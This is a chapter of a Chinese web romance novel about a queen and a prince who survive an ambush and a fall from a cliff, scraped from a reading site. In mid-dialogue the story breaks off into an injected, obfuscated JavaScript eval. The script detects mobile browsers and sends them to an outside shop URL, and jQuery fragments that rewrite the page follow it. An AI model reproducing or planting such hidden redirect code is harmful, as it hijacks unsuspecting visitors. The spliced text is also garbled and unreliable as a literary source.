123读书网 > 都市小说 > 皇嫂难逃 > 41. 无望崖2
    利箭撕破空气,略过宋时微的眼。


    刃头泛着冷光,映出她的惊愕,也映出前世的回忆。


    春狩刺杀,怎么提前了!


    上一世,裴安臣迟迟未择妃归梁,皇帝无嗣,太后鼓动世家进言,竭力拥立裴安臣为储君。


    皇帝忌惮裴安臣僭越帝位,又因他的军功无法在明面上拿捏他,便策划了乐游苑的春狩刺杀。


    可刺杀结果并不顺利,裴安臣毫发无伤。


    皇帝为掩盖自设棋局,谋害亲兄弟的真相,将刺杀一事推到了乐游苑里的西洲奴身上。


    对外,朝廷声称西洲奴为了宣泄灭国之恨,自行筹谋了这场复仇计划,潦草地杀了几个西洲奴了事。


    可裴安臣不是傻子。


    乐游苑是皇家园林,有禁军严密把守,尤因西洲奴身负被大齐灭国的仇恨,被重点看管,根本没有机会在众目睽睽之下兴风作浪。


    更何况,被斩杀的西洲奴不过是看管花草的农奴罢了,怎会有这个头脑去搞刺杀!


    是以经此一事,兄友弟恭的假象被撕破。


    裴安臣卸掉了谦谦君子的面具,靴履持剑上殿,再不掩饰一颗蠢蠢欲动的野心。


    可……


    上一世,乐游苑刺杀发生在春狩的最后一天。


    这一世,怎么提前了?


    裴安臣虽抱着宋时微,但身姿依旧灵巧,微微侧头便轻松躲过箭矢。


    可这一箭只是个引子,紧接着,暗箭一支接一支地飞来,不偏不倚地射向裴安臣。


    来不及思索,放下宋时微,裴安臣拔出佩剑,以迅雷之势打掉了好几支箭。


    一波箭雨终于停下,就在这个空隙,他用力一推,将她远远推开。


    “躲远点儿!”


    第二波箭雨席卷而来,每一支都死死粘着他,大有不死不休之势。


    他独臂难支,被无休无止的箭逼得一步步后退。


    远处的萧景初看到此景,想冲上来救人,试了几次,却始终无法闯入箭阵。


    脚下,牛角扎入的石缝越裂越大,终于承受不住接连的折腾,‘咔嚓’一声,石块与整个地面断开了连接。


    他一脚踏空,仰面跌了下去。


    电光火石一瞬间,宋时微一念升起。


    上一世,裴安臣逃过了刺杀,才会在绝境归来后下定谋逆的决心,最终的颠覆皇权,自立为帝,将她囚禁于宫禁之中。


    若这一世他死在了刺杀之中,她不就可以摆脱被囚的命运了么!


    可……


    上一世,宋家是在裴安臣称帝之后被颠覆。


    而这一世,宋家已被世家死死咬住,他死了,谁来帮她救宋家!


    一个箭步冲上去,宋时微抓住了他的手。


    似是没料到,裴安臣愣了一下,还未来得及命她‘松手’,便带着宋时微一起直直坠了下去。


    ***


    冰凉的水攫住她的身体,眼前一片漆黑。


    窒息,冰冷,身体的温度被无尽的绝望吸走。


    上一世,她拔剑自刎后,濒死之时也是这种感觉。


    月光映在水面上,微弱暗淡。


    耳边是轰隆隆的水声,像宏大的死亡,欲锁她于沉重的黑暗中长眠。


    暗淡的光斑中,黑点闪现,继而逐渐放大,那个熟悉的人影向她游来。


    无数个梦魇中重复的末日里,他从遥远的黑暗中渐渐逼近,一半面容隐匿在幽暗里,微勾的唇角挂满了侵略的欲望。


    他是她两世的心魔,此时披着月光,陡然闯入进她模糊扭曲的视线之中。


    月光下,他半明半暗的容颜陡然被照亮,洗去了危险的幽暗,度着昭昭光明。


    原来撕掉魔鬼的面具,他也能宛若神祇。


    他吻上来,赐予她呼吸。


    温柔的,湿热的,源源不断的……


    她拼命攫取着这恩赐,几乎与他交融在一起。


    他缠绕着她的腰肢,带着她一点点向上浮游。


    在混沌的意识里,她感觉像柔软的云轻轻飘起,在神的怀抱中,安详地睡去。


    再醒来时,温柔的火光漏进她的眼睛里。


    耳边传来火舌舔舐柴薪的‘噼啪’声。


    溺死的窒息感犹在……


    她下意识深吸一口气,清凉的夜风席卷入肺腑。


    死亡仿佛是一场梦,在此刻透彻身心的呼吸中一扫而空。


    宋时微坐起身子。


    身体久经折腾,此时像快要散架的马车,随着感知的逐渐清明,被草木划伤的手臂也传来阵痛。


    她下意识去看划伤之处,竟已被人用破碎的绸缎包扎好了。


    宋时微转头,见裴安臣正在火堆边烤鱼。


    鱼香入鼻,勾得她碌碌饥肠的肚子叫了一声。


    裴安臣侧眸看她,扬了扬被树枝插着的烤鱼,“饿了吗?”


    火光映着宋时微的眸,她盯着鱼的眸子闪闪发光。


    点了点头,她轻轻‘嗯’了一声。


    “过来拿。”裴安臣勾唇,一双眸子噙着幽幽火光。


    他笑得不怀好意。


    神祇的圣洁仿佛只是频死前的错觉,如今一切变得清晰起来,魔鬼看上去还是魔鬼。


    宋时微踟蹰了一下,可终究难敌腹中饥饿,对烤鱼的渴望驱使她向他走去。


    走到他身边,她沉默着,伸手讨鱼。


    斜扫了她一眼,裴安臣戏谑道:“柴是我辛苦堆的,火是我辛苦燃的,鱼也是我辛苦烤的……娘娘要讨鱼吃,也不卖个乖么?”


    见他满脸风流浪荡,宋时微缩回手,冷声道:“本宫又不是不得不吃……一顿晚膳不吃罢了,我还扛得住。”


    说着,她欲转身离开,腰间襳带却被人用力扯住。


    她始料未及,一脚没有站稳,仰面向后倒去,蓦然跌落进柔软的怀抱里。


    手上缠着她的乌发,他的眸子映着火光,闪着灼灼笑意,“娘娘总是这样,不过说两句玩笑话,怎么又生气了?”


    将插着鱼的树枝递到她眼下,裴安臣微扬下巴,“吃吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945111|187605||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    握住了树枝,宋时微挣扎,“放开本宫!”


    裴安臣冷笑,将人紧紧箍在怀中,“沾了便宜便要跑?皇后娘娘就是皇后娘娘,真是头白眼狼。”


    幽暗的火光下,他视线粘着她,凌厉逼人,“想吃我的鱼,便坐在我怀里吃!”


    宋时微知他力气大,若他愿意,她从来逃不脱。


    虽讨厌裴安臣迫她,可方才策马疾驰加生死一线,她分外疲惫,此时饿得难受,是以心中虽恼,却不打算与他扯皮,索性窝在他怀里,旁若无人地吃起来。


    怀中美人衣衫斑驳,妆面残污,却遮不住一双凤眸里勾人的妖艳。


    她吃得慢条斯理,时不时皱起秀眉,用染着鲜红色丹蔻的葇苡拨弄着细小的鱼刺。


    盯着她看了一会儿,裴安臣伸手拨开黏在她眼角的发丝,问道:“方才坠崖时为何上前拉我,不怕和我一起死?”


    垂眸专心吃着鱼,宋时微坦然道:“你死了,谁救宋家?”


    裴安臣自知这女人唯利是图,却还希望她能对他抱有几分爱意诚心。


    如今听到真话,虽在意料之中,他却还是忍不住发恼。


    “便只为这个?”他眸色暗了暗。


    “不然呢……还能为什么?”宋时微斜睨了他一眼,低头继续吃鱼。


    没良心的小东西!


    裴安臣磨了磨牙。


    罢了,不爱他也没什么打紧,人在他怀里便好。


    宋时微自顾自吃着,直到还剩下一根鱼尾,忽听裴安臣的肚子‘咕噜噜’叫了一声。


    虽还未吃饱,她还是抬了抬树枝,将鱼递到他眼下,“剩下的……你吃吧……”


    裴安臣眸子亮了亮,看着她勾唇一笑,“娘娘对我,并非一点儿良心也没有。”


    宋时微解释道:“就是见到小猫小狗饿了,我也会给他们送吃的!”


    被他看得心里发慌,宋时微红着脸垂头,晃了晃鱼,“看什么?要吃便拿着。”


    见他抬起了手,宋时微以为他要接过树枝,却没想到手背一热,被他的大手包在了掌心里。


    心里一惊,她抬眸去看,却见他倾身压了下来。


    还未等她反应过来,他柔软的唇便覆在了她的唇上。


    他的双唇包裹着她,一双舌灵巧地在她唇上舔舐,似要将那方柔软细细啃噬,尝尽芳泽,而后吞入腹中。


    宋时微一把推开他,眼中含着恼意,“忽然做什么!”


    恣意一笑,裴安臣眼含戏谑,“吃鱼啊。”


    舔了舔唇角,他抬手碾掉下巴上的油腥,满脸回味的样子,“有点儿腥……”


    “你!”她抬袖擦尽唇角濡湿,红着脸皱眉瞪他。


    裴安臣嗤笑,“怎么?刚才在水下,你缠着我无止无休地要,现在怎么害羞了?”


    “那不一样!方才是因为……”


    宋时微话还未说完,便被裴安臣捂住了嘴。


    她以为他又要做什么不轨之举,却见他食指放在唇前,做了个噤声的动作。